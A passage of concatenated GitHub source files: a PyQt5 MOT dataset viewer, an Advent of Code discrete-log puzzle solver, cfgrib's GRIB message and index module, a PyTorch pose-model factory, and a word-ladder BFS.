\"det\\\\det.txt\")\r\n with open(gt_path, 'r') as f:\r\n gt_list = f.readlines()\r\n for line in gt_list:\r\n i = int(line.split(',')[0])\r\n if i not in det_dict.keys():\r\n det_dict[i] = [line.split(',')[2:6]]\r\n else:\r\n det_dict[i].extend([line.split(',')[2:6]])\r\n\r\n for i, img_name in enumerate(img_list):\r\n img_path = os.path.join(img_list_path, img_name)\r\n img = cv2.imread(img_path)\r\n if ground_truth:\r\n for box in ground_truth_dict[i + 1]:\r\n pt1 = int(box[0]), int(box[1])\r\n pt2 = int(box[0]) + int(box[2]), int(box[1]) + int(box[3])\r\n cv2.rectangle(img, pt1, pt2, (0, 0, 255))\r\n if show_det:\r\n for box in det_dict[i + 1]:\r\n pt1 = int(float(box[0])), int(float(box[1]))\r\n pt2 = int(float(box[0])) + int(float(box[2])), int(float(box[1])) + int(float(box[3]))\r\n cv2.rectangle(img, pt1, pt2, (255, 0, 0), 2)\r\n\r\n show = cv2.resize(img, (480, 270), interpolation=cv2.INTER_AREA)\r\n show = cv2.cvtColor(show, cv2.COLOR_BGR2RGB)\r\n showImage = QImage(show.data, show.shape[1], show.shape[0], QImage.Format_RGB888)\r\n self.ui.label_2.setPixmap(QPixmap.fromImage(showImage))\r\n cv2.waitKey(30)\r\n\r\n # Image save\r\n if save_img:\r\n img_name = os.path.basename(img_path)\r\n out_path = os.path.join('out', 'vis', img_name)\r\n cv2.imwrite(out_path, img)\r\n\r\n # Detect if the Stop key has been pressed\r\n if self.stop_display:\r\n self.stop_display = False\r\n break\r\n\r\n self.ui.label_2.clear()\r\n self.work = False\r\n\r\n def check_image_path(self, seq_path):\r\n if not os.path.exists(seq_path):\r\n err_info = \"Cannot find image dir: \"+seq_path+\"\\nPlease download full data set from MOT website.\"\r\n self.ui.label_2.setText(err_info)\r\n print(err_info)\r\n return False\r\n return True\r\n\r\n def fresh_seq(self):\r\n self.ui.seq_box.clear()\r\n if self.ui.mot_path.text() is '':\r\n mot_root_dir = default_mot_path\r\n else:\r\n mot_root_dir = self.ui.mot_path.text()\r\n\r\n mot_train_dir = os.path.join(mot_root_dir, \"train\")\r\n mot_test_dir = os.path.join(mot_root_dir, \"test\")\r\n\r\n err_info = \"\"\r\n if \"train\" not in os.listdir(mot_root_dir):\r\n err_info += \"Cannot find training data set in: \" + mot_train_dir + \"\\n\"\r\n print(\"Cannot find training data set in:\", mot_train_dir)\r\n\r\n if \"test\" not in os.listdir(mot_root_dir):\r\n err_info += \"Cannot find testing data set in:\" + mot_test_dir + \"\\n\"\r\n print(\"Cannot find testing data set in:\", mot_test_dir)\r\n\r\n if err_info != \"\":\r\n self.ui.label_2.setText(err_info)\r\n return\r\n\r\n ori_train_lists = [os.path.join(mot_train_dir, path, \"img1\") for path in os.listdir(mot_train_dir)]\r\n ori_test_lists = [os.path.join(mot_test_dir, path, \"img1\") for path in os.listdir(mot_test_dir)]\r\n\r\n set_name = self.ui.set_box.currentText()\r\n command = self.get_set_com(set_name)\r\n if command == \"1\": # Train\r\n for i, seq in enumerate(ori_train_lists):\r\n if not self.check_image_path(seq):\r\n continue\r\n self.ui.seq_box.addItem(seq)\r\n elif command == \"2\": # Test\r\n for i, seq in enumerate(ori_test_lists):\r\n if not self.check_image_path(seq):\r\n continue\r\n self.ui.seq_box.addItem(seq)\r\n elif command == \"3\": # All\r\n for i, seq in enumerate(ori_train_lists):\r\n if not self.check_image_path(seq):\r\n continue\r\n self.ui.seq_box.addItem(seq)\r\n for i, seq in enumerate(ori_test_lists):\r\n if not self.check_image_path(seq):\r\n continue\r\n self.ui.seq_box.addItem(seq)\r\n\r\n def displayBT(self):\r\n self.play_video()\r\n\r\n def gtBT(self):\r\n self.play_video(ground_truth=True)\r\n\r\n def detBT(self):\r\n self.play_video(show_det=True)\r\n\r\n def stopBT(self):\r\n self.stop_display = True\r\n self.work = False\r\n\r\n\r\ndef qt5_init():\r\n myapp = QApplication(sys.argv)\r\n myDlg = MainDialog()\r\n myDlg.show()\r\n sys.exit(myapp.exec_())\r\n\r\n\r\ndef main():\r\n qt5_init()\r\n\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","repo_name":"cangzihan/mot_toolbox","sub_path":"mot_toolbox_qt5.py","file_name":"mot_toolbox_qt5.py","file_ext":"py","file_size_in_byte":7499,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"1376949950","text":"#!/usr/bin/env python3\n\nimport sys\n\npubkeys = list(map(int, open(sys.argv[1]).read().splitlines()))\n\nn = 20201227\n\n# This is actually the discrete logarithm problem\n# 7**x mod n\ndef crack(pubkey):\n loops = 0\n val = 1\n while val != pubkey:\n val = (val * 7) % n\n loops += 1\n return loops\n\n# Comment out crack2() if you don't have sympy installed\n# and call crack() instead in the loop below\nfrom sympy.ntheory.residue_ntheory import discrete_log\ndef crack2(pubkey):\n return discrete_log(n, pubkey, 7)\n\nprivkeys = []\nfor key in pubkeys:\n loopsize = crack2(key)\n privkeys.append(loopsize)\n print(key, loopsize)\n\nprint(pow(pubkeys[0], privkeys[1], n))\nprint(pow(pubkeys[1], privkeys[0], n))\n","repo_name":"AlbertVeli/AdventOfCode","sub_path":"2020/25/day25.py","file_name":"day25.py","file_ext":"py","file_size_in_byte":724,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"24791573601","text":"import contextlib\nimport hashlib\nimport logging\nimport os\nimport pickle\nimport typing as T\n\nimport attr\nimport eccodes # type: ignore\nimport numpy as np\n\nfrom . import abc\n\nMISSING_VAUE_INDICATOR = np.finfo(np.float32).max\n\neccodes_version = eccodes.codes_get_api_version()\n\nLOG = logging.getLogger(__name__)\n_MARKER = object()\n\n#\n# MULTI-FIELD support is very tricky. Random access via the index needs multi support to be off.\n#\neccodes.codes_grib_multi_support_off()\n\n\n@contextlib.contextmanager\ndef multi_enabled(file: T.IO[bytes]) -> T.Iterator[None]:\n \"\"\"Context manager that enables MULTI-FIELD support in ecCodes from a clean state\"\"\"\n eccodes.codes_grib_multi_support_on()\n #\n # Explicitly reset the multi_support global state that gets confused by random access\n #\n # @alexamici: I'm note sure this is thread-safe. See :#141\n #\n eccodes.codes_grib_multi_support_reset_file(file)\n try:\n yield\n except Exception:\n eccodes.codes_grib_multi_support_off()\n raise\n eccodes.codes_grib_multi_support_off()\n\n\nKEY_TYPES = {\n \"float\": float,\n \"int\": int,\n \"str\": str,\n \"\": None,\n}\n\nDEFAULT_INDEXPATH = \"{path}.{short_hash}.idx\"\n\nOffsetType = T.Union[int, T.Tuple[int, int]]\n\n\n@attr.attrs(auto_attribs=True)\nclass Message(abc.MutableField):\n \"\"\"Dictionary-line interface to access Message headers.\"\"\"\n\n codes_id: int\n encoding: str = \"ascii\"\n errors: str = attr.attrib(\n default=\"warn\", validator=attr.validators.in_([\"ignore\", \"warn\", \"raise\"])\n )\n\n @classmethod\n def from_file(cls, file, offset=None, **kwargs):\n # type: (T.IO[bytes], T.Optional[OffsetType], T.Any) -> Message\n field_in_message = 0\n if isinstance(offset, tuple):\n offset, field_in_message = offset\n if offset is not None:\n file.seek(offset)\n codes_id = None\n if field_in_message == 0:\n codes_id = eccodes.codes_grib_new_from_file(file)\n else:\n # MULTI-FIELD is enabled only when accessing additional fields\n with multi_enabled(file):\n for _ in range(field_in_message + 1):\n codes_id = eccodes.codes_grib_new_from_file(file)\n\n if codes_id is None:\n raise EOFError(\"End of file: %r\" % file)\n return cls(codes_id=codes_id, **kwargs)\n\n @classmethod\n def from_sample_name(cls, sample_name, **kwargs):\n # type: (str, T.Any) -> Message\n codes_id = eccodes.codes_new_from_samples(sample_name, eccodes.CODES_PRODUCT_GRIB)\n return cls(codes_id=codes_id, **kwargs)\n\n @classmethod\n def from_message(cls, message, **kwargs):\n # type: (Message, T.Any) -> Message\n codes_id = eccodes.codes_clone(message.codes_id)\n return cls(codes_id=codes_id, **kwargs)\n\n # ensure that missing values in the values array are represented by MISSING_VAUE_INDICATOR\n def __attrs_post_init__(self):\n self[\"missingValue\"] = MISSING_VAUE_INDICATOR\n\n def __del__(self) -> None:\n eccodes.codes_release(self.codes_id)\n\n def message_get(self, item, key_type=None, default=_MARKER):\n # type: (str, T.Optional[type], T.Any) -> T.Any\n \"\"\"Get value of a given key as its native or specified type.\"\"\"\n try:\n if eccodes.codes_get_size(self.codes_id, item) > 1:\n values = eccodes.codes_get_array(self.codes_id, item, key_type)\n else:\n values = [eccodes.codes_get(self.codes_id, item, key_type)]\n\n if values is None:\n return \"unsupported_key_type\"\n\n if len(values) == 1:\n if isinstance(values, np.ndarray):\n values = values.tolist()\n return values[0]\n return values\n\n except eccodes.KeyValueNotFoundError:\n if default is _MARKER:\n raise KeyError(item)\n else:\n return default\n\n def message_set(self, item: str, value: T.Any) -> None:\n arr = isinstance(value, (np.ndarray, T.Sequence)) and not isinstance(value, str)\n if arr:\n eccodes.codes_set_array(self.codes_id, item, value)\n else:\n eccodes.codes_set(self.codes_id, item, value)\n\n def message_grib_keys(self, namespace: T.Optional[str] = None) -> T.Iterator[str]:\n iterator = eccodes.codes_keys_iterator_new(self.codes_id, namespace=namespace)\n while eccodes.codes_keys_iterator_next(iterator):\n yield eccodes.codes_keys_iterator_get_name(iterator)\n eccodes.codes_keys_iterator_delete(iterator)\n\n def __getitem__(self, item: str) -> T.Any:\n key, _, key_type_text = item.partition(\":\")\n if key_type_text not in KEY_TYPES:\n raise ValueError(\"key type not supported %r\" % key_type_text)\n key_type = KEY_TYPES[key_type_text]\n return self.message_get(key, key_type=key_type)\n\n def __setitem__(self, item: str, value: T.Any) -> None:\n try:\n return self.message_set(item, value)\n except eccodes.GribInternalError as ex:\n if self.errors == \"ignore\":\n pass\n elif self.errors == \"raise\":\n raise KeyError(\"failed to set key %r to %r\" % (item, value))\n else:\n if isinstance(ex, eccodes.ReadOnlyError):\n # Very noisy error when trying to set computed keys\n pass\n else:\n LOG.warning(\"failed to set key %r to %r\", item, value)\n\n def __delitem__(self, item: str) -> None:\n raise NotImplementedError\n\n def __iter__(self) -> T.Iterator[str]:\n for key in self.message_grib_keys():\n yield key\n\n def __len__(self) -> int:\n return sum(1 for _ in self)\n\n def write(self, file: T.IO[bytes]) -> None:\n eccodes.codes_write(self.codes_id, file)\n\n\nGetterType = T.Callable[..., T.Any]\nSetterType = T.Callable[..., None]\nComputedKeysType = T.Dict[str, T.Tuple[GetterType, SetterType]]\n\n\n@attr.attrs(auto_attribs=True)\nclass ComputedKeysMessage(Message):\n \"\"\"Extension of Message class for adding computed keys.\"\"\"\n\n computed_keys: ComputedKeysType = {}\n\n def __getitem__(self, item: str) -> T.Any:\n if item in self.computed_keys:\n getter, _ = self.computed_keys[item]\n return getter(self)\n else:\n return super(ComputedKeysMessage, self).__getitem__(item)\n\n def __iter__(self) -> T.Iterator[str]:\n seen = set()\n for key in super(ComputedKeysMessage, self).__iter__():\n yield key\n seen.add(key)\n for key in self.computed_keys:\n if key not in seen:\n yield key\n\n def __setitem__(self, item: str, value: T.Any) -> None:\n if item in self.computed_keys:\n _, setter = self.computed_keys[item]\n return setter(self, value)\n else:\n return super(ComputedKeysMessage, self).__setitem__(item, value)\n\n\n@attr.attrs(auto_attribs=True)\nclass ComputedKeysAdapter(abc.Field):\n \"\"\"Extension of Message class for adding computed keys.\"\"\"\n\n context: abc.Field\n computed_keys: ComputedKeysType = {}\n\n def __getitem__(self, item: str) -> T.Any:\n if item in self.computed_keys:\n getter, _ = self.computed_keys[item]\n return getter(self)\n else:\n return self.context[item]\n\n def __iter__(self) -> T.Iterator[str]:\n seen = set()\n for key in self.context:\n yield key\n seen.add(key)\n for key in self.computed_keys:\n if key not in seen:\n yield key\n\n def __len__(self) -> int:\n return len(self.context)\n\n\nclass FileStreamItems(T.ItemsView[OffsetType, Message]):\n def __init__(self, filestream: \"FileStream\"):\n self.filestream = filestream\n\n def itervalues(self) -> T.Iterator[Message]:\n errors = self.filestream.errors\n with open(self.filestream.path, \"rb\") as file:\n # enable MULTI-FIELD support on sequential reads (like when building the index)\n with multi_enabled(file):\n valid_message_found = False\n while True:\n try:\n yield self.filestream.message_from_file(file, errors=errors)\n valid_message_found = True\n except EOFError:\n if not valid_message_found:\n raise EOFError(\"No valid message found: %r\" % self.filestream.path)\n break\n except Exception:\n if errors == \"ignore\":\n pass\n elif errors == \"raise\":\n raise\n else:\n LOG.exception(\"skipping corrupted Message\")\n\n def __iter__(self) -> T.Iterator[T.Tuple[OffsetType, Message]]:\n # assumes MULTI-FIELD support in self.itervalues()\n old_offset = -1\n count = 0\n for message in self.itervalues():\n offset = message.message_get(\"offset\", int)\n if offset == old_offset:\n count += 1\n offset_field = (offset, count)\n else:\n old_offset = offset\n count = 0\n offset_field = offset\n yield (offset_field, message)\n\n\n@attr.attrs(auto_attribs=True)\nclass FileStream(abc.MappingFieldset[OffsetType, Message]):\n \"\"\"Mapping-like access to a filestream of Messages.\n\n Sample usage:\n\n >>> filestream = FileStream(\"era5-levels-members.grib\")\n >>> message1 = filestream[None]\n >>> message1[\"offset\"]\n 0.0\n >>> message2 = filestream[14760]\n >>> message2[\"offset\"]\n 14760.0\n\n Note that any offset return the first message found _after_ that offset:\n\n >>> message2_again = filestream[1]\n >>> message2_again[\"offset\"]\n 14760.0\n \"\"\"\n\n path: str\n errors: str = attr.attrib(\n default=\"warn\", validator=attr.validators.in_([\"ignore\", \"warn\", \"raise\"])\n )\n\n #\n # NOTE: we implement `.items()`, and not `__iter__()`, as a performance optimisation\n #\n def items(self) -> T.ItemsView[OffsetType, Message]:\n return FileStreamItems(self)\n\n def __iter__(self) -> T.Iterator[OffsetType]:\n raise NotImplementedError(\"use `.items()` instead\")\n\n def message_from_file(self, file, offset=None, **kwargs):\n # type: (T.IO[bytes], T.Optional[OffsetType], T.Any) -> Message\n return Message.from_file(file, offset, **kwargs)\n\n def __getitem__(self, item: T.Optional[OffsetType]) -> Message:\n with open(self.path, \"rb\") as file:\n return self.message_from_file(file, offset=item)\n\n def __len__(self) -> int:\n return sum(1 for _ in self.items())\n\n\nALLOWED_PROTOCOL_VERSION = \"2\"\n\n\nC = T.TypeVar(\"C\", bound=\"FieldsetIndex\")\n\n\n@attr.attrs(auto_attribs=True)\nclass FieldsetIndex(abc.Index[T.Any, abc.Field]):\n fieldset: T.Union[abc.Fieldset[abc.Field], abc.MappingFieldset[T.Any, abc.Field]]\n index_keys: T.List[str]\n filter_by_keys: T.Dict[str, T.Any] = {}\n field_ids_index: T.List[T.Tuple[T.Tuple[T.Any, ...], T.List[abc.Field]]] = attr.attrib(\n repr=False, default=[]\n )\n computed_keys: ComputedKeysType = {}\n index_protocol_version: str = ALLOWED_PROTOCOL_VERSION\n\n @classmethod\n def from_fieldset(\n cls: T.Type[C],\n fieldset: T.Union[abc.Fieldset[abc.Field], abc.MappingFieldset[T.Any, abc.Field]],\n index_keys: T.Sequence[str],\n computed_keys: ComputedKeysType = {},\n ) -> C:\n if isinstance(fieldset, T.Mapping):\n iteritems = iter(fieldset.items())\n else:\n iteritems = enumerate(fieldset)\n return cls.from_fieldset_and_iteritems(fieldset, iteritems, index_keys, computed_keys)\n\n @classmethod\n def from_fieldset_and_iteritems(\n cls: T.Type[C],\n fieldset: T.Union[abc.Fieldset[abc.Field], abc.MappingFieldset[T.Any, abc.Field]],\n iteritems: T.Iterable[T.Tuple[T.Any, abc.Field]],\n index_keys: T.Sequence[str],\n computed_keys: ComputedKeysType = {},\n ) -> C:\n field_ids_index = {} # type: T.Dict[T.Tuple[T.Any, ...], T.List[T.Any]]\n index_keys = list(index_keys)\n header_values_cache = {} # type: T.Dict[T.Tuple[T.Any, type], T.Any]\n for field_id, raw_field in iteritems:\n field = ComputedKeysAdapter(raw_field, computed_keys)\n header_values = []\n for key in index_keys:\n try:\n try:\n value = field[key]\n except KeyError:\n # get default type if Field does not support type specifier\n if \":\" not in key:\n raise\n else:\n value = field[key.partition(\":\")[0]]\n if value is None:\n value = \"undef\"\n except Exception:\n value = \"undef\"\n if isinstance(value, (np.ndarray, list)):\n value = tuple(value)\n # NOTE: the following ensures that values of the same type that evaluate equal are\n # exactly the same object. The optimisation is especially useful for strings and\n # it also reduces the on-disk size of the index in a backward compatible way.\n value = header_values_cache.setdefault((value, type(value)), value)\n header_values.append(value)\n field_ids_index.setdefault(tuple(header_values), []).append(field_id)\n self = cls(\n fieldset,\n index_keys,\n field_ids_index=list(field_ids_index.items()),\n computed_keys=computed_keys,\n )\n # record the index protocol version in the instance so it is dumped with pickle\n return self\n\n @classmethod\n def from_indexpath(cls, indexpath):\n # type: (T.Type[C], str) -> C\n with open(indexpath, \"rb\") as file:\n index = pickle.load(file)\n if not isinstance(index, cls):\n raise ValueError(\"on-disk index not of expected type {cls}\")\n if index.index_protocol_version != ALLOWED_PROTOCOL_VERSION:\n raise ValueError(\"protocol versione to allowed {index.index_protocol_version}\")\n return index\n\n def __iter__(self) -> T.Iterator[str]:\n return iter(self.index_keys)\n\n def __len__(self) -> int:\n return len(self.index_keys)\n\n @property\n def header_values(self) -> T.Dict[str, T.List[T.Any]]:\n if not hasattr(self, \"_header_values\"):\n all_header_values = {} # type: T.Dict[str, T.Dict[T.Any, None]]\n for header_values, _ in self.field_ids_index:\n for i, value in enumerate(header_values):\n values = all_header_values.setdefault(self.index_keys[i], {})\n if value not in values:\n values[value] = None\n self._header_values = {k: list(v) for k, v in all_header_values.items()}\n return self._header_values\n\n def __getitem__(self, item: str) -> T.List[T.Any]:\n return self.header_values[item]\n\n def getone(self, item):\n # type: (str) -> T.Any\n values = self[item]\n if len(values) != 1:\n raise ValueError(\"not one value for %r: %r\" % (item, len(values)))\n return values[0]\n\n def subindex(self, filter_by_keys={}, **query):\n # type: (C, T.Mapping[str, T.Any], T.Any) -> C\n query.update(filter_by_keys)\n raw_query = [(self.index_keys.index(k), v) for k, v in query.items()]\n field_ids_index = []\n for header_values, field_ids_values in self.field_ids_index:\n for idx, val in raw_query:\n if header_values[idx] != val:\n break\n else:\n field_ids_index.append((header_values, field_ids_values))\n index = type(self)(\n fieldset=self.fieldset,\n index_keys=self.index_keys,\n field_ids_index=field_ids_index,\n filter_by_keys=query,\n )\n return index\n\n def get_field(self, message_id: T.Any) -> abc.Field:\n return ComputedKeysAdapter(self.fieldset[message_id], self.computed_keys)\n\n def first(self) -> abc.Field:\n first_message_id = self.field_ids_index[0][1][0]\n return self.get_field(first_message_id)\n\n def source(self) -> str:\n return \"N/A\"\n\n def iter_index(self) -> T.Iterator[T.Tuple[T.Tuple[T.Any, ...], T.List[T.Any]]]:\n return iter(self.field_ids_index)\n\n\n@contextlib.contextmanager\ndef compat_create_exclusive(path):\n # type: (str) -> T.Generator[T.IO[bytes], None, None]\n fd = os.open(path, os.O_WRONLY | os.O_CREAT | os.O_EXCL)\n with open(fd, mode=\"wb\") as file:\n try:\n yield file\n except Exception:\n file.close()\n os.unlink(path)\n raise\n\n\n@attr.attrs(auto_attribs=True)\nclass FileIndex(FieldsetIndex):\n fieldset: FileStream\n index_keys: T.List[str]\n filter_by_keys: T.Dict[str, T.Any] = {}\n field_ids_index: T.List[T.Tuple[T.Tuple[T.Any, ...], T.List[T.Any]]] = attr.attrib(\n repr=False, default=[]\n )\n computed_keys: ComputedKeysType = {}\n index_protocol_version: str = ALLOWED_PROTOCOL_VERSION\n\n @classmethod\n def from_indexpath_or_filestream(\n cls, filestream, index_keys, indexpath=DEFAULT_INDEXPATH, computed_keys={}, log=LOG\n ):\n # type: (FileStream, T.Sequence[str], str, ComputedKeysType, logging.Logger) -> FileIndex\n\n # Reading and writing the index can be explicitly suppressed by passing indexpath==''.\n if not indexpath:\n return cls.from_fieldset(filestream, index_keys, computed_keys)\n\n hash = hashlib.md5(repr(index_keys).encode(\"utf-8\")).hexdigest()\n indexpath = indexpath.format(path=filestream.path, hash=hash, short_hash=hash[:5])\n try:\n with compat_create_exclusive(indexpath) as new_index_file:\n self = cls.from_fieldset(filestream, index_keys, computed_keys)\n pickle.dump(self, new_index_file)\n return self\n except FileExistsError:\n pass\n except Exception:\n log.exception(\"Can't create file %r\", indexpath)\n\n try:\n index_mtime = os.path.getmtime(indexpath)\n filestream_mtime = os.path.getmtime(filestream.path)\n if index_mtime >= filestream_mtime:\n self = cls.from_indexpath(indexpath)\n if (\n getattr(self, \"index_keys\", None) == index_keys\n and getattr(self, \"fieldset\", None) == filestream\n and getattr(self, \"index_protocol_version\", None) == ALLOWED_PROTOCOL_VERSION\n ):\n return self\n else:\n log.warning(\"Ignoring index file %r incompatible with GRIB file\", indexpath)\n else:\n log.warning(\"Ignoring index file %r older than GRIB file\", indexpath)\n except Exception:\n log.exception(\"Can't read index file %r\", indexpath)\n\n return cls.from_fieldset(filestream, index_keys, computed_keys)\n\n def source(self) -> str:\n try:\n return os.path.relpath(self.fieldset.path)\n except ValueError:\n return os.path.basename(self.fieldset.path)\n","repo_name":"ecmwf/cfgrib","sub_path":"cfgrib/messages.py","file_name":"messages.py","file_ext":"py","file_size_in_byte":19651,"program_lang":"python","lang":"en","doc_type":"code","stars":361,"dataset":"github-code","pt":"37"} +{"seq_id":"43930616780","text":"import torch\n\nfrom core.loss import JointsMSELoss, JointsFocalLoss, JointsMSEBalancedLoss\n\nfrom models.pose_resnet import PoseResNet\nfrom models.light_pose_resnet import LightPoseResNet\nfrom models.light_pose_cpnet import LightPoseCpNet\nfrom models.light_pose_mobilenet import LightPoseMobileNet\nfrom models.light_pose_ghostnet import LightPoseGhostNet\nfrom models.light_pose_shuffnet import LightPoseShuffleNet\nfrom datasets.lsp import Lspet\nfrom datasets.mpii import Mpii\nfrom utils.misc import isExists\n\n\ndef getDataset(cfg, is_train=True):\n if is_train:\n print('| train dataset:', cfg.DATASET.NAME)\n print(' | data-mode:', cfg.TRAIN.DATA_MODE)\n else:\n print('| valid dataset:', cfg.DATASET.NAME)\n print(' | data-mode:', cfg.TEST.DATA_MODE)\n\n if cfg.DATASET.NAME.lower() == 'lspet':\n return Lspet(cfg, is_train)\n elif cfg.DATASET.NAME.lower() == 'mpii':\n return Mpii(cfg, is_train)\n else:\n raise RuntimeError('Dataset Not Defined! : %s' % cfg.DATASET.NAME)\n\n\ndef getModel(cfg, is_test=False):\n print('| model:', cfg.MODEL.NAME)\n\n if cfg.MODEL.NAME.lower() == 'pose-resnet':\n model = PoseResNet(cfg)\n elif cfg.MODEL.NAME.lower() == 'light-pose-resnet':\n model = LightPoseResNet(cfg)\n elif cfg.MODEL.NAME.lower() == 'light-pose-cpnet':\n model = LightPoseCpNet(cfg)\n elif cfg.MODEL.NAME.lower() == 'light-pose-mobilenet':\n model = LightPoseMobileNet(cfg)\n elif cfg.MODEL.NAME.lower() == 'light-pose-ghostnet':\n model = LightPoseGhostNet(cfg)\n elif cfg.MODEL.NAME.lower() == 'light-pose-shufflenet':\n model = LightPoseShuffleNet(cfg)\n else:\n raise RuntimeError('Model Not Defined! : %s' % cfg.MODEL.NAME)\n\n if is_test:\n if isExists(cfg.TEST.TRAINED_MODEL):\n print('load trained model from:', cfg.TEST.TRAINED_MODEL)\n model.load_state_dict(torch.load(cfg.TEST.TRAINED_MODEL, map_location=lambda storage, loc: storage))\n else:\n print('do not have trained model!')\n else:\n model.load(resume=cfg.MODEL.RESUME, pretrained=cfg.MODEL.PRETRAINED)\n return model\n\n\ndef getOptim(cfg, net):\n print('| optimizer:', cfg.TRAIN.OPTIM)\n lr = cfg.TRAIN.LR\n for i in cfg.TRAIN.SCHEDULER.MILESTONES:\n if cfg.TRAIN.LAST_EPOCH >= i:\n lr = lr * cfg.TRAIN.SCHEDULER.GAMMA\n\n if cfg.TRAIN.OPTIM.lower() == 'adam':\n return torch.optim.Adam([{'params': net.parameters(), 'initial_lr': lr}], lr=lr,\n weight_decay=cfg.TRAIN.WEIGHT_DECAY)\n elif cfg.TRAIN.OPTIM.lower() == 'sgd':\n return torch.optim.SGD([{'params': net.parameters(), 'initial_lr': lr}], lr=lr,\n momentum=cfg.TRAIN.MOMENTUM, weight_decay=cfg.TRAIN.WEIGHT_DECAY)\n\n\ndef getScheduler(cfg, optimizer):\n print('| scheduler:', cfg.TRAIN.SCHEDULER.NAME)\n if cfg.TRAIN.SCHEDULER.NAME.lower() == 'multi-step':\n return torch.optim.lr_scheduler.MultiStepLR(optimizer=optimizer,\n milestones=cfg.TRAIN.SCHEDULER.MILESTONES,\n gamma=cfg.TRAIN.SCHEDULER.GAMMA,\n last_epoch=cfg.TRAIN.LAST_EPOCH)\n\n elif cfg.TRAIN.SCHEDULER.NAME.lower() == 'reducelronplateau':\n return torch.optim.lr_scheduler.ReduceLROnPlateau(optimizer=optimizer,\n mode=cfg.TRAIN.SCHEDULER.MODE,\n factor=cfg.TRAIN.SCHEDULER.FACTOR,\n patience=cfg.TRAIN.SCHEDULER.PATIENCE,\n verbose=cfg.TRAIN.SCHEDULER.VERBOSE,\n threshold=cfg.TRAIN.SCHEDULER.THRESHOLD,\n threshold_mode=cfg.TRAIN.SCHEDULER.THRESHOLD_MODE,\n cooldown=cfg.TRAIN.SCHEDULER.COOLDOWN,\n min_lr=cfg.TRAIN.SCHEDULER.MIN_LR,\n )\n elif cfg.TRAIN.SCHEDULER.NAME.lower() == 'exponentiallr':\n return torch.optim.lr_scheduler.ExponentialLR(optimizer=optimizer,\n gamma=cfg.TRAIN.SCHEDULER.GAMMA,\n last_epoch=cfg.TRAIN.LAST_EPOCH)\n elif cfg.TRAIN.SCHEDULER.NAME.lower() == 'cosineannealinglr':\n return torch.optim.lr_scheduler.CosineAnnealingLR(optimizer=optimizer,\n T_max=cfg.TRAIN.SCHEDULER.T_MAX,\n eta_min=cfg.TRAIN.SCHEDULER.ETA_MIN,\n last_epoch=cfg.TRAIN.LAST_EPOCH)\n elif cfg.TRAIN.SCHEDULER.NAME.lower() == 'lambdalr':\n return torch.optim.lr_scheduler.LambdaLR(optimizer=optimizer,\n lr_lambda=lambda x: cfg.TRAIN.SCHEDULER.GAMMA ** sum(\n [1 if x % cfg.TRAIN.SCHEDULER.T_MAX >= i else 0 for i in\n cfg.TRAIN.SCHEDULER.MILESTONES]),\n last_epoch=cfg.TRAIN.LAST_EPOCH)\n\n\ndef getCriterion(cfg):\n print('| criterion:', cfg.LOSS.NAME)\n if cfg.LOSS.NAME.lower() == 'jointsmseloss':\n print(' | use_target_weight:', cfg.LOSS.EXTRA.USE_TARGET_WEIGHT)\n return JointsMSELoss(use_target_weight=cfg.LOSS.EXTRA.USE_TARGET_WEIGHT)\n elif cfg.LOSS.NAME.lower() == 'jointsmsebalancedloss':\n print(' | balanced_alpha:', cfg.LOSS.EXTRA.BALANCED_ALPHA)\n return JointsMSEBalancedLoss(alpha=cfg.LOSS.EXTRA.BALANCED_ALPHA)\n elif cfg.LOSS.NAME.lower() == 'jointsfocalloss':\n print(' | focal_beta:', cfg.LOSS.EXTRA.FOCAL_BETA)\n print(' | focal_alpha:', cfg.LOSS.EXTRA.FOCAL_ALPHA)\n return JointsFocalLoss(cfg.LOSS.EXTRA.FOCAL_BETA, cfg.LOSS.EXTRA.FOCAL_ALPHA)\n else:\n raise RuntimeError('Loss Not Defined! : %s' % cfg.LOSS.NAME)\n","repo_name":"hellowucheng/refine_estimation","sub_path":"lib/utils/factory.py","file_name":"factory.py","file_ext":"py","file_size_in_byte":6320,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"70373559466","text":"from treenode import *\nfrom queueADT import *\n\nword3u = open(\"word3u.txt\", encoding = \"utf-8\").read().split()\nwordlist = binTree()\nfor i in range(len(word3u)):\n\twordlist.put(word3u[i])\n\nalphabet = list(\"abcdefghijklmnopqrstuvwxyzåäö\")\n\nclass Word():\n\tdef __init__(self, theword, parent = None):\n\t\tself.word = theword\n\t\tself.parent = parent\n\ndef genChild(theword):\n\toutput = []\n\n\tfor i in range(3):\n\t\tfor k in range(29):\n\t\t\tordet = list(theword.word)\n\t\t\tordet[i] = alphabet[k]\n\t\t\tnewword = Word(\"\".join(ordet))\n\t\t\tnewword.parent = theword\n\n\t\t\tif wordlist.exists(newword.word) and newword.word != theword.word:\n\t\t\t\toutput.append(newword)\n\n\treturn output\n\ndef BFS(s, e):\n\tstart = Word(s)\n\tend = Word(e)\n\tq = Queue()\n\tchecklist = binTree()\n\tq.put(start)\n\n\twhile not q.isempty():\n\t\ttempword = q.get()\n\n\t\tif tempword.word == end.word:\n\t\t\treturn pathToWord(s,tempword)\n\t\t\tbreak\n\n\t\tchecklist.put(tempword.word)\n\t\tz = genChild(tempword)\n\n\t\tfor i in range(len(z)):\n\t\t\tif not checklist.exists(z[i].word):\n\t\t\t\tq.put(z[i])\n\t\t\t\tchecklist.put(z[i].word)\n\n\treturn False\n\ndef pathToWord(s,theword):\n\toutput = []\n\twhile theword.parent != None:\n\t\toutput.append(theword.word)\n\t\ttheword = theword.parent\n\toutput.append(s)\n\treturn \" -> \".join(list(reversed(output)))\n\nprint(BFS(\"dum\",\"vis\"))\nprint(BFS(\"blå\",\"röd\"))\nprint(BFS(\"fan\",\"gud\"))\nprint(BFS(\"öva\",\"klä\"))","repo_name":"antolu/KTH-GrupDat-DD1345","sub_path":"L9_searchtrees/BFS.py","file_name":"BFS.py","file_ext":"py","file_size_in_byte":1348,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"33074678085","text":"# NumPy Exercises\nfrom io import BytesIO\nfrom PIL import Image\nfrom scipy.signal import argrelextrema\n\nimport numpy as np\nimport requests\n\n# level №1\nprint('\\ntask 1\\n', np.__version__)\n\nnp1 = np.arange(10)\nprint('\\ntask 2\\n', np1)\n\nnp2 = 